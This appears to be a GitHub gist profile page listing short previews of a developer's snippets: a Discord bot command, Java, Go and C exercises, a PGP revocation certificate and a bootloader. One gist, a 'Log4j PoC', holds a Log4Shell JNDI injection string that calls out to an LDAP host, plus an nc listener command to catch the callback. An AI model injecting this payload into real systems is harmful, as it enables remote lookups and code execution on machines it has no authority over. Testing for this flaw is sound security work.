Skip to content

Instantly share code, notes, and snippets.

View oriapp's full-sized avatar
🤓
passionate nerd who loves PHP

R C N oriapp

🤓
passionate nerd who loves PHP
  • A really really big corporation
  • Planet Earth
View GitHub Profile
const Discord = require("discord.js");
const errors = require("../utils/errors.js");
module.exports.run = async (bot, message, args) => {
//!addrole @andrew Dog Person
if (!message.member.hasPermission("MANAGE_ROLES")) return errors.noPerms(message, "MANAGE_ROLES");
if (args[0] == "help") {
message.reply("Usage: !addrole <user> <role>");
return;
import java.util.*;
public class test {
static public void main(String args[]){
int[] res = Filter(new int[]{6, 9, 2, 2, 9, 4, -3}, 9);
for (int i : res){
System.out.println(i);
}
}
@oriapp
oriapp / poc.md
Created December 16, 2021 17:23
Log4j PoC

${jndi:ldap://host:1389/${java:version}}

echo -e '0\x0c\x02\x01\x01a\x07\x0a\x01\x00\x04\x00\x04\00' | nc -vv -l -p 1389 | xxd

package main
import (
"fmt"
"time"
)
/*
Rules:
if the number is odd -> multiply by three and add 1 (one)
import java.io.*;
public class fileing {
public static void main(String[] args) {
}
void copyFileBuffer(File src, File dest) throws IOException {
try (var in = new BufferedInputStream(
new FileInputStream(src));
#include <stdio.h>
int main() {
double long k = 1,
s = 0;
for (size_t i = 0; i < 1000000; i++)
{
if (i % 2 == 0)
@oriapp
oriapp / genericType.c
Last active August 19, 2022 14:21
Generic type stack impl
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef enum
{
STACK_INT,
STACK_CHAR,
STACK_UINT64
} DataType;
@oriapp
oriapp / key.gpg
Created August 13, 2022 19:28
My PGP key
-----BEGIN PGP PUBLIC KEY BLOCK-----
Comment: This is a revocation certificate
iQG2BCABCgAgFiEEY6ET8KoTlAiufrv67OUQBwXw+zcFAmL3+xMCHQIACgkQ7OUQ
BwXw+zeQgwv+Jn4qGE1qp241R8cO7/nEfsNruizBtralAnBrlvYVd8fpoee3K685
49IONJB/pwYJiuRlEdvKv29W8arRPYwjAZQA36Mc/Ex0InPAB9oJUTBYTZ+JILon
6bRPF5s1KD3FsLigjzNYdRPlg0enSnr06WsVP+PtAphwxbnyOuE1TLdabN+HeHFS
n3A/HRzt+KyiEqQBfTA3wdHDy8mXcHIWMBUClHYuHz3cfAO2oN1Dj/AWF/BFaH6k
p/dBCaFcUJxEYLjfwUqXGn3gKEKZCU/bGukYOH+/qAGSPKYXr3IDO6AmUf6zDUg/
vsgjy1Rp8ieSarWs/wpWw8RptIct1/GaypHDbQq1hsObpgZ91zJrDvgFK7XFn72B
@oriapp
oriapp / bootloader.asm
Created November 14, 2022 20:44
bootloader
ORG 0x7c00
[BITS 16]
CODE_SEG equ gdt_code - gdt_start
DATA_SEG equ gdt_data - gdt_start
jmp short start
nop
@oriapp
oriapp / CGame.c
Last active November 27, 2022 07:57
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <memory.h>
#include <stdbool.h>
#define MIN_CELLS 10
#define MAX_CELLS 25
#define COINS 6